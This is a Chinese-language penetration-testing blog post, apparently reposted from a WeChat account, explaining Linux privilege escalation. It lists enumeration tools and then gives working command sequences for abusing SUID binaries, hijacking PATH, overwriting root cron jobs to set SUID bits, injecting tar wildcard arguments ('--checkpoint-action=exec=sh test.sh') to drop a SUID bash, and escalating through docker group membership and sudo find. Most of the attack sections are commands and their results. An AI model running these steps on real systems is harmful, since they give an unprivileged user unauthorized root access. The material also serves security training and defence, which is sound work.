内网渗透|Linux权限提升大法

admin 2023年12月23日10:32:40评论49 views字数 4924阅读16分24秒阅读模式
0X01工具介绍

1.traitor

https://github.com/liamg/traitor自动化探测漏洞并且尝试提权工具,也会进行一些信息收集,但是漏洞库数量较少不带参数运行寻找可能存在的漏洞带-a参数运行寻找漏洞并尝试执行,如果已知当前用户密码可以加-p参数

2.LinEnum

https://github.com/rebootuser/LinEnum可以对linux主机进行一个综合信息探测,扫描linux上是否存在配置问题可以利用,例如版本,定时任务,权限,环境变量等等,可以方便我们快速的确认当前可以提权的方式

3.linux-exploit-suggester.sh

https://github.com/The-Z-Labs/linux-exploit-suggester漏扫脚本,查看是否有可以利用的漏洞

4.Linux Exploit Suggester 2

https://github.com/jondonas/linux-exploit-suggester-2漏扫脚本,查看是否有可以利用的漏洞

5.beroot

https://github.com/AlessandroZ/BeRootBeRoot是一个后期开发工具,用于检查常见的Windows的配置错误,以方便找到提高我们提权的方法。

0X02提权手法

1.利用suid提权

具有suid权限的文件在执行时,可以使调用者暂时获得该文件拥有者的执行权限,也就是说,具有suid权限的属于root用户的文件,在执行时,不管你当前是不是root用户,都可以以root权限执行,利用这个特性,我们就可以找一些具有suid权限切可以执行我们自定义命令的程序进行提权。

手动查看有suid权限的程序

find / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -print  2>/dev/null

内网渗透|Linux权限提升大法

可以用来提权的命令

NmapVimfindBashMoreLessNanocp

find利用

touch pentestlabfind pentestlab -exec whoami ;

内网渗透|Linux权限提升大法

其他利用手法参考该网站

https://pentestlab.blog/2017/09/25/suid-executables/

2.环境变量提权

管理员编译程序的时候,给了程序管理员权限运行的权限,通过对程序的运行调试得到程序运行的大概逻辑,尝试对程序调用的环境变量进行复制后覆盖。导致程序调用环境变量过程中会调用到我们的想执行的程序,通常是我们的木马后门.

提权流程:

  1. ind / -perm -u=s -type f 2>/dev/null使用该命令,或者上述工具进行信息收集,找到有suid权限的程序
  2. 找到用户自己编译的程序
  3. 去分析这些程序,通过反编译,调试等手段,查看是否有程序在运行过程中调用了环境变量的命令,如ps,su,ping等等
  4. 我们把bash或者sh复制为ps,并添加到环境变量,那么程序在调用ps时就会优先调用我们最新添加的环境变量ps,使用sudi权限执行bash或者ps我们就会得到root权限的shell,从而达到提权的目的
  5. Linux 在执行命令时会按照以下顺序搜索可执行文件:
 命令别名(alias):首先会检查是否存在与命令名称匹配的别名,如果有,则执行别名对应的命令。 用户自定义的函数(如果存在):如果用户在当前 Shell 中定义了与命令名称相同的函数,则会执行该函数。 内建命令(built-in):Linux Shell 提供了一些内建命令,例如 `cd``echo` 等。如果命令是内建命令,则会执行内建命令。 按照 PATH 环境变量中的顺序搜索可执行文件:如果以上步骤都不匹配,那么会按照环境变量 PATH 中指定的路径顺序搜索可执行文件。PATH 环境变量包含一系列用冒号分隔的目录路径。从左到右依次搜索这些路径,找到匹配的第一个可执行文件后执行。

具体操作

先写一段c程序,调用ps命令,设置uid和gid为0是要使用root权限来执行后续的操作

#include<unistd.h>#include<stdlib.h>void main(){    setuid(0);    setgid(0);    system("ps");

}
gcc mytest.c -o mytest在root权限下编译输出mytest可执行文件chmod u+s mytest    使用该命令赋予mytest  **suid**执行权限让mytest执行时候自动以管理员权限执行使用find / -perm -u=s -type f 2>/dev/null寻找具有suid权限的程序

可以发现我们刚才编译的程序

内网渗透|Linux权限提升大法

这时我们切换到普通用户权限,利用这个普通用户权限进行提权

内网渗透|Linux权限提升大法

使用cp命令把bash复制到/tmp/ps ,相当于把bash复制到tmp目录下并改名为ps

内网渗透|Linux权限提升大法

我们再把tmp目录添加到环境变量

export PATH=/tmp:$PATH

echo $PATH

内网渗透|Linux权限提升大法

可以发现此时执行ps返回的是一个shell

内网渗透|Linux权限提升大法

那么此时我们执行mytest程序它调用的ps就会执行bash返回给我们一个shell,因为他是以root权限执行的,所以就会返回给我们一个root权限的shell.

可以看到我们成功从普通用户提到了root权限

内网渗透|Linux权限提升大法

3.定时任务提权

3.1定时任务文件覆盖提权

利用定时任务有时候也可以达到提权的目的,修改有root权限的定时任务程序进行提权.

需要具备的条件

有root权限执行的定时任务有权限修改root权限执行的定时任务

通过修改定时任务的程序,让定时任务以root权限执行时执行我们想执行的内容,从而达到提权的目的

实操

添加定时任务,直接修改/etc/crontab添加,添加定时任务还可以使用crontab -e添加,但是crontab -e添加的定时任务只有当前用户可以看见,所以这种提权方式需要直接修改/etc/crontab添加定时任务,并以root权限执行

vim /etc/crontab

这里添加一个定时清楚目录下所有文件的脚本,也可以使用sh等脚本,这里使用python

*/1 * * * * root /usr/bin/python3 /root/test/cleanup.py
import osimport systry:    os.system('rm -r /root/add/*')except:    sys.exit()

添加后保存即可,此时定时任务已经添加成功
切换到普通用户,cat /etc/crontab即可查看我们添加的定时任务

内网渗透|Linux权限提升大法

在普通用户下也可以编译定时任务执行的文件

内网渗透|Linux权限提升大法

可以把命令替换成 chmod u+s /bin/dash 赋予dash以suid权限(如果不能修改,有删除权限的话可以直接删掉,写入一个同名文件即可),返回给我们一个root权限的shel,需要加上-p参数才能提权,dash -p

我们这边还可以给另一些可以提权的命令suid权限,例如我们的find命令,这边我给find命令添加suid权限后也成功拿到了root权限

 find `which find` -exec whoami ;

内网渗透|Linux权限提升大法

3.2定时任务Tar命令通配符注入提权

添加一个定时任务,每分钟备份一次add文件夹下的内容到back目录下

nano /etc/crontab*/1 *   * * *   root cd/root/add;tar -zcf /root/back/add.tgz *

接下来模拟攻击者提权,发现存在定时任务压缩后,在add目录下执行以下三个命令,创建三个文件

创建一个--checkpoint-action=exec=sh test.sh名字的空文件,创建--checkpoint=1名字的空文件,创建一个test.sh,里边输入我们想要使用root权限执行的命令,然后赋予test.sh可执行权限即可

echo "" > "--checkpoint-action=exec=sh test.sh"echo "" > --checkpoint=1echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.shchmod +x test.sh

此时等待定时任务完成即可发现在/tmp目录下多了一个bash文件

内网渗透|Linux权限提升大法

使用 /tmp/bash -p 即可提权

内网渗透|Linux权限提升大法

这个方法利用了命令的一些特性,例如,目录下存在一个--help文件时,我们使用cat --help会执行cat的帮助文档,不会获取文件的信息,这边也是一样,在执行过程中会发生以下的事情

tar -zcf /root/back/add.tgz --checkpoint=1tar -zcf /root/back/add.tgz --checkpoint-action=exec=sh test.sh

在压缩这两个名字的时候,会把checkpoint设为1,且执行我们的test.sh文件,由于定时任务以root权限运行,那么我们就可以利用这个特性,在test.sh写入我们想执行的任何命令,达到提权的一个效果

还有另一种情况
刚才的例子是压缩了当前目录的文件,但是当命令是压缩指定目录下的文件时,刚才的用法就失效了,例如在以下定时任务情况下,指定了/root/add/*目录,此时拼接就会失效。

nano /etc/crontab*/1 *   * * *   root tar -zcf /root/back/add.tgz /root/add/*

这时候需要我们在执行完上面的操作后,对add目录下的文件进行一个归档,才可以成功解析我们的命令,具体操作如下

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >test.shecho "" > "--checkpoint-action=exec=sh test.sh"echo "" > --checkpoint=1tar cf archive.tar *

执行完后,只需要等待定时任务触发即可执行我们的test.sh
4.Rsync
Rsync是linux下的一款数据备份工具,默认开启873端口
通过Rsync替换定时任务的程序提权

5.Docker提权

如果用户具有docker权限,可以利用docker的挂载,实现容器和主机共享目录,从而修改访问主机文件,添加用户,等功能,完成提权

条件:当前用户在docker用户组,可以使用docke
6.SUDO提权

在linux中,可能会给普通用户sudo权限,以便使用sudo进行root权限才可以进行的操作,/etc/sudoers文
件是sudo权限的配置文件,其中存储了哪些用户以及命令可以以sudo权限执行

内网渗透|Linux权限提升大法

这三条得意思分别是:

root ALL=(ALL:ALL) ALL :允许用户root在任何主机上以任何用户身份(ALL:ALL)执行任何命令。这授予了最高的权限。

%admin ALL=(ALL) ALL :允许属于admin组的用户在任何主机上以任何用户身份执行任何命令。这是通过%admin表示组权限,ALL表示可以在任何主机上执行,(ALL) ALL表示可以以任何用户身份执行任何命令。

%sudo ALL=(ALL:ALL) ALL :允许属于sudo组的用户在任何主机上以任何用户身份执行任何命令。与admin组的权限相似,这里也使用了%sudo表示组权限。

在实战中,目标可能会给普通用户分配sudo权限,可能是 ALL=(ALL:ALL) ALL ,也可能是针对某个命令可
以使用sudo权限,如 ALL(ALL:ALL) /usr/bin/find
这种sudo提权的方式就和suid提权的方式有点相识,但是使用sudo提权需要两个必备条件
知道当前用户的密码
有sudo权限执行任意命令,或者sudo可以执行特定可以提权的命令
如果sudo可以执行任何命令,那么我们可以直接 sudo bash 获取root权限的shell,如果不能,需要查
看/etc/sudoers配置文件中可以执行哪些命令,上文中可以使用suid提权的命令在此处也是适用的

例如:find提权

sudo find /home -exec whoami ; ,可以看到获得的是root用户

内网渗透|Linux权限提升大法

sudo find /home -exec bash ; 或者直接调用bash来获取shell

内网渗透|Linux权限提升大法

原文始发于微信公众号(琴音安全):内网渗透|Linux权限提升大法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月23日10:32:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透|Linux权限提升大法http://cn-sec.com/archives/2247838.html

发表评论

匿名网友 填写信息